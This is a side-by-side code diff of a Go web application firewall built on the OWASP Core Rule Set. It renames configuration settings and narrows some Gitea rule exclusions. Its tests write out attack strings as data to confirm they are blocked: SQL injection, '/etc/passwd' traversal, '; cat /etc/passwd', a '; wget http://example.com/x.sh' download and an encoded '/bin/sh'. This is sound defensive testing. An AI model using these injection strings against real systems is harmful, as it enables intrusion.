// SWW_WAF_CORE_RULE_SET_DISABLED_RULES and the exclusions file refuse, so that no // SWW_WAF_CORE_RULE_SET_DISABLED_RULES and the exclusions file refuse, so that no
@@ -43,7 +43,7 @@ import (
// without the spaces at the start of the next. // without the spaces at the start of the next.
const directives = ` const directives = `
# The engine only detects. sww compares the request's anomaly # The engine only detects. sww compares the request's anomaly
# score with SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD itself, in block and detect mode # score with SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD itself, in block and detect mode
# alike. It reads no body, unless bodyDirectives switch that on. # alike. It reads no body, unless bodyDirectives switch that on.
SecRuleEngine DetectionOnly SecRuleEngine DetectionOnly
SecRequestBodyAccess Off SecRequestBodyAccess Off
@@ -224,10 +224,9 @@ type Params struct {
// DisabledRules are the ids of the rules switched off // DisabledRules are the ids of the rules switched off
// (SWW_WAF_CORE_RULE_SET_DISABLED_RULES). // (SWW_WAF_CORE_RULE_SET_DISABLED_RULES).
DisabledRules []int DisabledRules []int
// BodyInspectionSize is the most of a request body the Core Rule Set // BodyLimit is the most of a request body the Core Rule Set reads
// reads (SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE), 0 while it is off // (SWW_WAF_CORE_RULE_SET_BODY_LIMIT), 0 while it is off and it reads none.
// and it reads none. BodyLimit int64
BodyInspectionSize int64
// ExclusionsFile is the path of a file of exclusions loaded before the // ExclusionsFile is the path of a file of exclusions loaded before the
// Core Rule Set's rules (SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE), "" while // Core Rule Set's rules (SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE), "" while
// there is none. // there is none.
@@ -338,7 +337,7 @@ func checkExclusions(exclusions string) error {
// for concurrent use. // for concurrent use.
type CoreRuleSet struct { type CoreRuleSet struct {
engine coraza.WAF engine coraza.WAF
bodyInspectionSize int64 bodyLimit int64
// appsByHostname are the names of the apps each hostname serves, by // appsByHostname are the names of the apps each hostname serves, by
// hostname in lowercase (SWW_WAF_APPS), nil while SWW_WAF_APPS is unset. // hostname in lowercase (SWW_WAF_APPS), nil while SWW_WAF_APPS is unset.
appsByHostname map[string][]string appsByHostname map[string][]string
@@ -346,14 +345,14 @@ type CoreRuleSet struct {
// New returns the Core Rule Set with the five changes and the apps' fixes, // New returns the Core Rule Set with the five changes and the apps' fixes,
// at params' paranoia level, without the rules it switches off, reading // at params' paranoia level, without the rules it switches off, reading
// request bodies up to params' body inspection size, and with params' // request bodies up to params' limit, and with params' exclusions file
// exclusions file loaded before the Core Rule Set's rules. An exclusions // loaded before the Core Rule Set's rules. An exclusions file is an error
// file is an error if it cannot be read or does not parse, or if // if it cannot be read or does not parse, or if checkExclusions refuses
// checkExclusions refuses it. // it.
func New(params Params) (*CoreRuleSet, error) { func New(params Params) (*CoreRuleSet, error) {
body := "" body := ""
if params.BodyInspectionSize > 0 { if params.BodyLimit > 0 {
body = fmt.Sprintf(bodyDirectives, params.BodyInspectionSize) body = fmt.Sprintf(bodyDirectives, params.BodyLimit)
} }
exclusions := "" exclusions := ""
@@ -398,7 +397,7 @@ func New(params Params) (*CoreRuleSet, error) {
return &CoreRuleSet{ return &CoreRuleSet{
engine: engine, engine: engine,
bodyInspectionSize: params.BodyInspectionSize, bodyLimit: params.BodyLimit,
appsByHostname: params.Apps, appsByHostname: params.Apps,
}, nil }, nil
} }
@@ -482,19 +481,18 @@ func (c *CoreRuleSet) Inspect(
} }
// readBody reads body, the body of the request in tx, which has run on // readBody reads body, the body of the request in tx, which has run on
// the request's headers, while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is // the request's headers, while SWW_WAF_CORE_RULE_SET_BODY_LIMIT is set and the body is
// set and the body is of a kind the Core Rule Set reads: form data and // of a kind the Core Rule Set reads: form data and multipart, of which it
// multipart, of which it reads the first c.bodyInspectionSize bytes, and // reads the first c.bodyLimit bytes, and JSON and XML, which it reads only
// JSON and XML, which it reads only when they are no longer than that, // when they are no longer than that, since they cannot be read in part.
// since they cannot be read in part. // readBody reads one byte past the limit, to tell which they are, gives
// readBody reads one byte past c.bodyInspectionSize, to tell which they // the Core Rule Set what it reads, and returns what it read and the error
// are, gives the Core Rule Set what it reads, and returns what it read and // that ended the reading early, if one did.
// the error that ended the reading early, if one did.
func (c *CoreRuleSet) readBody( func (c *CoreRuleSet) readBody(
tx types.Transaction, tx types.Transaction,
body io.Reader, body io.Reader,
) ([]byte, error) { ) ([]byte, error) {
if c.bodyInspectionSize == 0 { if c.bodyLimit == 0 {
return nil, nil return nil, nil
} }
@@ -511,9 +509,9 @@ func (c *CoreRuleSet) readBody(
return nil, nil return nil, nil
} }
read, err := io.ReadAll(io.LimitReader(body, c.bodyInspectionSize+1)) read, err := io.ReadAll(io.LimitReader(body, c.bodyLimit+1))
if inPart || (err == nil && int64(len(read)) <= c.bodyInspectionSize) { if inPart || (err == nil && int64(len(read)) <= c.bodyLimit) {
// Coraza holds what it reads of the body in memory, up to the // Coraza holds what it reads of the body in memory, up to the
// limit, so this cannot fail. // limit, so this cannot fail.
_, _, _ = tx.WriteRequestBody(read) _, _, _ = tx.WriteRequestBody(read)
internal/coreruleset/coreruleset_test.go
+36 -53
View File
@@ -919,10 +919,6 @@ const retypeKey = "retype"
// system files (930120) holds. // system files (930120) holds.
const htaccess = ".htaccess" const htaccess = ".htaccess"
// binSh is the shell path /bin/sh as a query or form value, which the rule for
// shell paths (932160) refuses.
const binSh = "%2Fbin%2Fsh"
// hardValues are words that name commands and files, as a query or form // hardValues are words that name commands and files, as a query or form
// value. An app's tests check that its fields let them through. // value. An app's tests check that its fields let them through.
// //
@@ -1093,8 +1089,7 @@ var findMisfiringPasswords = sync.OnceValues(func() ([]string, error) {
const workers, perBody = 16, 10 const workers, perBody = 16, 10
crs, err := loaderFor(coreruleset.Params{ crs, err := loaderFor(coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
BodyInspectionSize: bodyInspectionSize,
})() })()
if err != nil { if err != nil {
return nil, err return nil, err
@@ -1171,18 +1166,15 @@ func misfiringPasswords(t *testing.T) []string {
func wantRandomPasswordsPass(t *testing.T, r request, name string) { func wantRandomPasswordsPass(t *testing.T, r request, name string) {
t.Helper() t.Helper()
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
crs := readingBodies(t) crs := readingBodies(t)
misfiring := misfiringPasswords(t) misfiring := misfiringPasswords(t)
names := []string{name} names := []string{name}
body := passwordBody(t, r, names, misfiring...) body := passwordBody(t, r, names, misfiring...)
if len(body) > bodyInspectionSize { if len(body) > bodyLimit {
t.Fatalf( t.Fatalf("a body of %d bytes is cut at bodyLimit", len(body))
"a body of %d bytes is cut at bodyInspectionSize",
len(body),
)
} }
if got, _ := inspectBody(t, crs, r, body); got.Score < threshold { if got, _ := inspectBody(t, crs, r, body); got.Score < threshold {
@@ -1205,7 +1197,7 @@ func wantRandomPasswordsPass(t *testing.T, r request, name string) {
func wantPasswordAttacksPass(t *testing.T, r request, names ...string) { func wantPasswordAttacksPass(t *testing.T, r request, names ...string) {
t.Helper() t.Helper()
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
for _, attack := range []string{ for _, attack := range []string{
"' OR '1'='1", pathTraversal, "; cat /etc/passwd", "' OR '1'='1", pathTraversal, "; cat /etc/passwd",
@@ -1225,7 +1217,7 @@ func wantPasswordAttacksPass(t *testing.T, r request, names ...string) {
func wantPasswordAttacksRefused(t *testing.T, r request, name string) { func wantPasswordAttacksRefused(t *testing.T, r request, name string) {
t.Helper() t.Helper()
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
for _, attack := range []string{scriptTag, "javascript:alert(1)"} { for _, attack := range []string{scriptTag, "javascript:alert(1)"} {
body := passwordBody(t, r, []string{name}, attack) body := passwordBody(t, r, []string{name}, attack)
@@ -1315,7 +1307,7 @@ func TestGiteaPasswordsPass(t *testing.T) {
func TestPasswordFieldsStayCheckedInTheQuery(t *testing.T) { func TestPasswordFieldsStayCheckedInTheQuery(t *testing.T) {
t.Parallel() t.Parallel()
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
crs := readingBodies(t) crs := readingBodies(t)
@@ -1372,7 +1364,7 @@ func TestPasswordFieldsStayCheckedInTheQuery(t *testing.T) {
func TestPasswordExclusionsAreNarrow(t *testing.T) { func TestPasswordExclusionsAreNarrow(t *testing.T) {
t.Parallel() t.Parallel()
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
crs := readingBodies(t) crs := readingBodies(t)
@@ -1408,7 +1400,7 @@ func TestPasswordExclusionsAreNarrow(t *testing.T) {
func TestGiteaAttacksAreRefused(t *testing.T) { func TestGiteaAttacksAreRefused(t *testing.T) {
t.Parallel() t.Parallel()
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
crs := atDefaults(t) crs := atDefaults(t)
@@ -1488,7 +1480,7 @@ func TestGiteaSearchOnAUsersOrAnOrganisationsPageLetsLsThrough(
} }
// A command after a ";" in q is still refused on each of these paths. // A command after a ";" in q is still refused on each of these paths.
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
for _, target := range []string{ for _, target := range []string{
"/alice?tab=repositories&q=", "/alice?tab=repositories&q=",
@@ -1513,12 +1505,12 @@ const (
) )
// readingBodiesUpTo64K returns the Core Rule Set as sww runs it by default, // readingBodiesUpTo64K returns the Core Rule Set as sww runs it by default,
// but reading bodies up to the largest SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE. // but reading bodies up to the largest SWW_WAF_CORE_RULE_SET_BODY_LIMIT.
func readingBodiesUpTo64K(t *testing.T) *coreruleset.CoreRuleSet { func readingBodiesUpTo64K(t *testing.T) *coreruleset.CoreRuleSet {
t.Helper() t.Helper()
return shared(t, coreruleset.Params{ return shared(t, coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyInspectionSize: 64<<10 - 1, ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: 64<<10 - 1,
}) })
} }
@@ -1580,7 +1572,7 @@ func wordpressAttackTargets(attack string) []string {
func TestWordPressAttacksAreRefused(t *testing.T) { func TestWordPressAttacksAreRefused(t *testing.T) {
t.Parallel() t.Parallel()
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
defaults, bodies := atDefaults(t), readingBodiesUpTo64K(t) defaults, bodies := atDefaults(t), readingBodiesUpTo64K(t)
@@ -2318,9 +2310,8 @@ func TestWordPressExclusionsAreNarrow(t *testing.T) {
wantBody(t, crs, signIn, body, matched(930120), body) wantBody(t, crs, signIn, body, matched(930120), body)
} }
// bodyInspectionSize is SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE in the // bodyLimit is SWW_WAF_CORE_RULE_SET_BODY_LIMIT in the tests that read bodies.
// tests that read bodies. const bodyLimit = 8 << 10
const bodyInspectionSize = 8 << 10
// The Content-Type headers of the kinds of body the Core Rule Set reads. // The Content-Type headers of the kinds of body the Core Rule Set reads.
const ( const (
@@ -2343,13 +2334,12 @@ const pathTraversal = "../../etc/passwd"
const shellCommand = "; wget http://example.com/x.sh" const shellCommand = "; wget http://example.com/x.sh"
// readingBodies returns the Core Rule Set as sww runs it by // readingBodies returns the Core Rule Set as sww runs it by
// default, but reading bodies up to bodyInspectionSize. // default, but reading bodies up to bodyLimit.
func readingBodies(t *testing.T) *coreruleset.CoreRuleSet { func readingBodies(t *testing.T) *coreruleset.CoreRuleSet {
t.Helper() t.Helper()
return shared(t, coreruleset.Params{ return shared(t, coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
BodyInspectionSize: bodyInspectionSize,
}) })
} }
@@ -2403,7 +2393,7 @@ func wantBody(
} }
} }
func TestBodiesAreReadOnlyWhileBodyInspectionSizeIsSet(t *testing.T) { func TestBodiesAreReadOnlyWhileBodyLimitIsSet(t *testing.T) {
t.Parallel() t.Parallel()
off, on := atDefaults(t), readingBodies(t) off, on := atDefaults(t), readingBodies(t)
@@ -2423,7 +2413,7 @@ func TestFormDataAndMultipartAreReadUpToTheLimit(t *testing.T) {
t.Parallel() t.Parallel()
crs := readingBodies(t) crs := readingBodies(t)
pad := strings.Repeat("a", bodyInspectionSize) pad := strings.Repeat("a", bodyLimit)
for _, tc := range []struct{ header, attackFirst, attackLast string }{ for _, tc := range []struct{ header, attackFirst, attackLast string }{
{ {
@@ -2436,20 +2426,20 @@ func TestFormDataAndMultipartAreReadUpToTheLimit(t *testing.T) {
}, },
} { } {
wantBody(t, crs, post(tc.header), tc.attackFirst, matched(942100), wantBody(t, crs, post(tc.header), tc.attackFirst, matched(942100),
tc.attackFirst[:bodyInspectionSize+1]) tc.attackFirst[:bodyLimit+1])
wantBody( wantBody(
t, t,
crs, crs,
post(tc.header), post(tc.header),
tc.attackLast, tc.attackLast,
coreruleset.Result{}, coreruleset.Result{},
tc.attackLast[:bodyInspectionSize+1], tc.attackLast[:bodyLimit+1],
) )
} }
// To the byte: a system file's path is found when it ends at the limit, // To the byte: a system file's path is found when it ends at the limit,
// and not when its last letter is past it, which is still read. // and not when its last letter is past it, which is still read.
atLimit := padded("pad=", "&q=/etc/passwd", bodyInspectionSize) atLimit := padded("pad=", "&q=/etc/passwd", bodyLimit)
wantBody( wantBody(
t, t,
crs, crs,
@@ -2459,7 +2449,7 @@ func TestFormDataAndMultipartAreReadUpToTheLimit(t *testing.T) {
atLimit, atLimit,
) )
pastLimit := padded("pad=", "&q=/etc/passwd", bodyInspectionSize+1) pastLimit := padded("pad=", "&q=/etc/passwd", bodyLimit+1)
wantBody( wantBody(
t, t,
crs, crs,
@@ -2479,10 +2469,10 @@ func TestJSONAndXMLAreReadOnlyWhenNoLargerThanTheLimit(t *testing.T) {
{jsonBody, `{"q":"` + injection + `","pad":"`, `"}`}, {jsonBody, `{"q":"` + injection + `","pad":"`, `"}`},
{xmlBody, "<r><q>" + injection + "</q><pad>", "</pad></r>"}, {xmlBody, "<r><q>" + injection + "</q><pad>", "</pad></r>"},
} { } {
fits := padded(tc.head, tc.tail, bodyInspectionSize) fits := padded(tc.head, tc.tail, bodyLimit)
wantBody(t, crs, post(tc.header), fits, matched(942100), fits) wantBody(t, crs, post(tc.header), fits, matched(942100), fits)
larger := padded(tc.head, tc.tail, bodyInspectionSize+1) larger := padded(tc.head, tc.tail, bodyLimit+1)
wantBody( wantBody(
t, t,
crs, crs,
@@ -2539,7 +2529,7 @@ func TestContentEncodingIsRefusedOnTheKindsOfBodyTheCoreRuleSetReads(
// Whatever its size: a JSON body larger than the limit is not read, but // Whatever its size: a JSON body larger than the limit is not read, but
// Content-Encoding on it is refused all the same. // Content-Encoding on it is refused all the same.
larger := strings.Repeat("a", bodyInspectionSize+1) larger := strings.Repeat("a", bodyLimit+1)
wantBody(t, crs, post(jsonBody, gzip), larger, matched(920450), larger) wantBody(t, crs, post(jsonBody, gzip), larger, matched(920450), larger)
// It is allowed on a body of any other kind, and on every body while no // It is allowed on a body of any other kind, and on every body while no
@@ -2758,7 +2748,7 @@ func giteaBranchNamesInBodies() []nameInBody {
func TestGiteaNamesInBodiesStillRefuseAttacks(t *testing.T) { func TestGiteaNamesInBodiesStillRefuseAttacks(t *testing.T) {
t.Parallel() t.Parallel()
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
crs := readingBodies(t) crs := readingBodies(t)
@@ -2859,7 +2849,7 @@ func TestBodyCorazaCannotParseIsAMatch(t *testing.T) {
// that has no colon, before the attack. They do so padded past the // that has no colon, before the attack. They do so padded past the
// limit too, which cuts them in the padding. // limit too, which cuts them in the padding.
noColon := "--b\r\nContent-Disposition form-data; name=\"a\"\r\n\r\n1\r\n" noColon := "--b\r\nContent-Disposition form-data; name=\"a\"\r\n\r\n1\r\n"
pad := field("pad", strings.Repeat("a", bodyInspectionSize)) pad := field("pad", strings.Repeat("a", bodyLimit))
for _, tc := range []struct{ header, head string }{ for _, tc := range []struct{ header, head string }{
{multipart + "; boundary=c", ""}, {multipart + "; boundary=c", ""},
@@ -2877,7 +2867,7 @@ func TestBodyCorazaCannotParseIsAMatch(t *testing.T) {
body = tc.head + field("q", injection) + pad + end body = tc.head + field("q", injection) + pad + end
wantBody(t, crs, post(tc.header), body, matched(900440, 900450), wantBody(t, crs, post(tc.header), body, matched(900440, 900450),
body[:bodyInspectionSize+1]) body[:bodyLimit+1])
} }
} }
@@ -2890,10 +2880,7 @@ func TestMultipartBodyCutBeforeAPartHeadersColonIsAMatch(t *testing.T) {
cut := "--b\r\nContent-Di" cut := "--b\r\nContent-Di"
first := field( first := field(
"pad", "pad",
strings.Repeat( strings.Repeat("a", bodyLimit-len(field("pad", ""))-len(cut)),
"a",
bodyInspectionSize-len(field("pad", ""))-len(cut),
),
) )
body := first + cut + "sposition: form-data; name=\"q\"\r\n\r\n1\r\n" + end body := first + cut + "sposition: form-data; name=\"q\"\r\n\r\n1\r\n" + end
@@ -2903,7 +2890,7 @@ func TestMultipartBodyCutBeforeAPartHeadersColonIsAMatch(t *testing.T) {
post(multipart), post(multipart),
body, body,
matched(900440, 900450), matched(900440, 900450),
body[:bodyInspectionSize+1], body[:bodyLimit+1],
) )
} }
@@ -2922,15 +2909,12 @@ func TestMultipartBodyCutBeforeALineFeedInAPartsHeadersIsAMatch(
for _, cut := range []int{len(headerLine), len(headerLine + "\n\r")} { for _, cut := range []int{len(headerLine), len(headerLine + "\n\r")} {
first := field( first := field(
"pad", "pad",
strings.Repeat( strings.Repeat("a", bodyLimit-len(field("pad", ""))-cut),
"a",
bodyInspectionSize-len(field("pad", ""))-cut,
),
) )
body := first + field("q", "1") + end body := first + field("q", "1") + end
wantBody(t, crs, post(multipart), body, matched(900440, 900450), wantBody(t, crs, post(multipart), body, matched(900440, 900450),
body[:bodyInspectionSize+1]) body[:bodyLimit+1])
} }
} }
@@ -2945,8 +2929,7 @@ func TestCorazaWritesNoFile(t *testing.T) {
// The test loads its own Core Rule Set, since loading is part of what // The test loads its own Core Rule Set, since loading is part of what
// it checks. // it checks.
crs, err := coreruleset.New(coreruleset.Params{ crs, err := coreruleset.New(coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
BodyInspectionSize: bodyInspectionSize,
}) })
if err != nil { if err != nil {
t.Fatalf("load the Core Rule Set: %v", err) t.Fatalf("load the Core Rule Set: %v", err)
@@ -2958,11 +2941,11 @@ func TestCorazaWritesNoFile(t *testing.T) {
wantBody(t, crs, post(multipart), body, matched(942100), body) wantBody(t, crs, post(multipart), body, matched(942100), body)
} }
func TestBodyInspectionSizeOf1GLoads(t *testing.T) { func TestBodyLimitOf1GLoads(t *testing.T) {
t.Parallel() t.Parallel()
_, err := coreruleset.New( _, err := coreruleset.New(
coreruleset.Params{ParanoiaLevel: 1, BodyInspectionSize: 1 << 30}, coreruleset.Params{ParanoiaLevel: 1, BodyLimit: 1 << 30},
) )
if err != nil { if err != nil {
t.Errorf("load the Core Rule Set reading bodies up to 1G: %v", err) t.Errorf("load the Core Rule Set reading bodies up to 1G: %v", err)
internal/coreruleset/drupal.conf
+1 -1
View File
@@ -4,7 +4,7 @@
# request, before the rules it switches off, so this file is loaded before the # request, before the rules it switches off, so this file is loaded before the
# Core Rule Set's rules. Each comment names a request a rule refused. An # Core Rule Set's rules. Each comment names a request a rule refused. An
# exclusion on a field of a body applies only when the query has no parameter # exclusion on a field of a body applies only when the query has no parameter
# of that name, so it matters only while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is # of that name, so it matters only while SWW_WAF_CORE_RULE_SET_BODY_LIMIT is
# set. The exclusions above the comment "The fields below are in bodies" also # set. The exclusions above the comment "The fields below are in bodies" also
# cover a body field of the same name whatever the query holds, and only those # cover a body field of the same name whatever the query holds, and only those
# below it need a query without that name. # below it need a query without that name.
internal/coreruleset/drupal_test.go
+1 -1
View File
@@ -9,7 +9,7 @@ import (
"sneak.berlin/go/smallwebwaf/internal/coreruleset" "sneak.berlin/go/smallwebwaf/internal/coreruleset"
) )
// drupalThreshold is SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default. // drupalThreshold is SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default.
const drupalThreshold = 5 const drupalThreshold = 5
// drupalAddArticle is Drupal's form for a new article. // drupalAddArticle is Drupal's form for a new article.
internal/coreruleset/forgejo.conf
+1 -1
View File
@@ -132,7 +132,7 @@ SecRule REQUEST_FILENAME "@streq /admin/repos" \
# They skip these rules: # They skip these rules:
# 932120: fix-powershell-module # 932120: fix-powershell-module
# 932260: feat/docker-support # 932260: feat/docker-support
# They are read only while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is set, and skip # They are read only while SWW_WAF_CORE_RULE_SET_BODY_LIMIT is set, and skip
# nothing when the query has a parameter of the same name. # nothing when the query has a parameter of the same name.
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/settings/rename_branch$" \ SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/settings/rename_branch$" \
"id:900666,phase:1,pass,nolog,chain" "id:900666,phase:1,pass,nolog,chain"
internal/coreruleset/forgejo_test.go
+3 -3
View File
@@ -91,7 +91,7 @@ var forgejoAttacks = []string{
func TestForgejoAttacksAreRefusedInItsSearches(t *testing.T) { func TestForgejoAttacksAreRefusedInItsSearches(t *testing.T) {
t.Parallel() t.Parallel()
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
defaults, bodies := atDefaults(t), readingBodies(t) defaults, bodies := atDefaults(t), readingBodies(t)
@@ -113,7 +113,7 @@ func TestForgejoAttacksAreRefusedInItsSearches(t *testing.T) {
func TestForgejoExclusionsAreNarrow(t *testing.T) { func TestForgejoExclusionsAreNarrow(t *testing.T) {
t.Parallel() t.Parallel()
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
crs := atDefaults(t) crs := atDefaults(t)
@@ -145,7 +145,7 @@ func TestForgejoExclusionsAreNarrow(t *testing.T) {
"/alice/-/packages/npm/x?q=", "/alice/-/packages/npm/x?q=",
"/alice/tools/branches?other=", "/alice/tools/branches?other=",
} { } {
for _, value := range slices.Concat([]string{binSh}, hardValues) { for _, value := range slices.Concat([]string{"%2Fbin%2Fsh"}, hardValues) {
if got := inspect(t, crs, get(target+value)); got.Score < threshold { if got := inspect(t, crs, get(target+value)); got.Score < threshold {
t.Errorf("%s%s let through: %+v", target, value, got) t.Errorf("%s%s let through: %+v", target, value, got)
} }
internal/coreruleset/ghost.conf
+1 -1
View File
@@ -3,7 +3,7 @@
# rules it switches off, so this file is loaded before the Core Rule Set's # rules it switches off, so this file is loaded before the Core Rule Set's
# rules. Each comment names a request a rule refused. An exclusion on a field of # rules. Each comment names a request a rule refused. An exclusion on a field of
# a body applies only when the query has no parameter of that name, so it # a body applies only when the query has no parameter of that name, so it
# matters only while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is set. # matters only while SWW_WAF_CORE_RULE_SET_BODY_LIMIT is set.
# #
# Ghost's admin and its integrations call the Admin API under /ghost/api/admin/, # Ghost's admin and its integrations call the Admin API under /ghost/api/admin/,
# themes and Ghost's own scripts call the Content API under /ghost/api/content/, # themes and Ghost's own scripts call the Content API under /ghost/api/content/,
internal/coreruleset/ghost_test.go
+1 -1
View File
@@ -11,7 +11,7 @@ import (
"sneak.berlin/go/smallwebwaf/internal/coreruleset" "sneak.berlin/go/smallwebwaf/internal/coreruleset"
) )
// ghostThreshold is SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default. // ghostThreshold is SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default.
const ghostThreshold = 5 const ghostThreshold = 5
// Paths of Ghost's Admin API, Content API and members' API. // Paths of Ghost's Admin API, Content API and members' API.
internal/coreruleset/gitea.conf
+6 -109
View File
@@ -172,13 +172,11 @@ SecRule REQUEST_FILENAME "@rx ^/(?:explore/repos|user/search_candidates|\
# A branch, tag or package name can hold a slash, as feat/docker-support and # A branch, tag or package name can hold a slash, as feat/docker-support and
# npm's @scope/name do. So q on a repository's branches, tags and packages # npm's @scope/name do. So q on a repository's branches, tags and packages
# pages, on an owner's packages page, on the admin page of packages, on the # pages, on an owner's packages page and on the admin page of packages also
# API's search of packages and on the Composer and Conan registries' searches # skips this rule:
# also skips this rule:
# 932160: /bin/sh # 932160: /bin/sh
SecRule REQUEST_FILENAME "@rx ^/(?:[^/]+/[^/]+/(?:branches|tags|packages)|\ SecRule REQUEST_FILENAME "@rx ^/(?:[^/]+/[^/]+/(?:branches|tags|packages)|\
admin/packages|api/v1/packages/[^/]+|\ admin/packages)$" \
api/packages/[^/]+/(?:composer/search\.json|conan/v[12]/conans/search))$" \
"id:900605,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932160;ARGS:q" "id:900605,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932160;ARGS:q"
# gitea's other searches send a name or a few words in q too, which skips only # gitea's other searches send a name or a few words in q too, which skips only
@@ -190,11 +188,7 @@ SecRule REQUEST_FILENAME "@rx ^/(?:[^/]+/[^/]+/(?:branches|tags|packages)|\
# The searches: # The searches:
# - the dashboard's filter of repositories; # - the dashboard's filter of repositories;
# - the author filter of the issue and pull request lists; # - the author filter of the issue and pull request lists;
# - the lists of users and organisations; # - the lists of users and organisations, and the API's search for users;
# - the API's searches of users, of topics, of an organisation's teams and of
# emails;
# - the searches of the Cargo, Chef, Composer and Conan registries, and the
# NuGet registry's search service;
# - the list of repositories a user watches; # - the list of repositories a user watches;
# - an organisation's milestones of one team, and its search for teams; # - an organisation's milestones of one team, and its search for teams;
# - the milestones of a repository or an organisation, and the projects of a # - the milestones of a repository or an organisation, and the projects of a
@@ -211,11 +205,7 @@ SecRule REQUEST_FILENAME "@rx ^/(?:[^/]+/[^/]+/(?:branches|tags|packages)|\
# versions holds the package's name, which can hold a slash, as npm's # versions holds the package's name, which can hold a slash, as npm's
# @scope/name does. # @scope/name does.
SecRule REQUEST_FILENAME "@rx ^/(?:repo/search|notifications/watching|\ SecRule REQUEST_FILENAME "@rx ^/(?:repo/search|notifications/watching|\
explore/(?:users|organizations)|\ explore/(?:users|organizations)|api/v1/users/search|\
api/v1/(?:users/search|topics/search|orgs/[^/]+/teams/search|\
admin/emails/search)|\
api/packages/[^/]+/(?:cargo/api/v1/crates|chef/api/v1/(?:search|cookbooks)|\
composer/search\.json|conan/v[12]/conans/search|nuget/query)|\
org/[^/]+/(?:milestones/[^/]+|teams/-/search)|\ org/[^/]+/(?:milestones/[^/]+|teams/-/search)|\
[^/]+/-/packages/[^/]+/.+/versions|\ [^/]+/-/packages/[^/]+/.+/versions|\
[^/]+/[^/]+/(?:(?:issues|pulls)/posters|issues/suggestions|milestones|\ [^/]+/[^/]+/(?:(?:issues|pulls)/posters|issues/suggestions|milestones|\
@@ -229,99 +219,6 @@ SecRule REQUEST_FILENAME "@rx ^/(?:repo/search|notifications/watching|\
ctl:ruleRemoveTargetById=932250;ARGS:q,\ ctl:ruleRemoveTargetById=932250;ARGS:q,\
ctl:ruleRemoveTargetById=932260;ARGS:q" ctl:ruleRemoveTargetById=932260;ARGS:q"
# Two of the API's searches send their words in a field other than q, which
# skips these rules there:
# 930120: .htaccess
# 932120: powershell
# 932250: ls -la
# 932260: python3, alice/python3-app
# The search of unadopted repositories sends an owner and a name, such as
# alice/python3-app, in query.
SecRule REQUEST_FILENAME "@rx ^/api/v1/admin/unadopted$" \
"id:900607,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:query,\
ctl:ruleRemoveTargetById=932120;ARGS:query,\
ctl:ruleRemoveTargetById=932250;ARGS:query,\
ctl:ruleRemoveTargetById=932260;ARGS:query"
# The search of a repository's milestones sends a milestone's name in name.
SecRule REQUEST_FILENAME "@rx ^/api/v1/repos/[^/]+/[^/]+/milestones$" \
"id:900608,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:name,\
ctl:ruleRemoveTargetById=932120;ARGS:name,\
ctl:ruleRemoveTargetById=932250;ARGS:name,\
ctl:ruleRemoveTargetById=932260;ARGS:name"
# The npm registry's search sends its words in text, which skips these rules
# there:
# 930120: .htaccess
# 932120: powershell
# 932160: /bin/sh, as an npm name such as @alice/tools-cli holds a slash
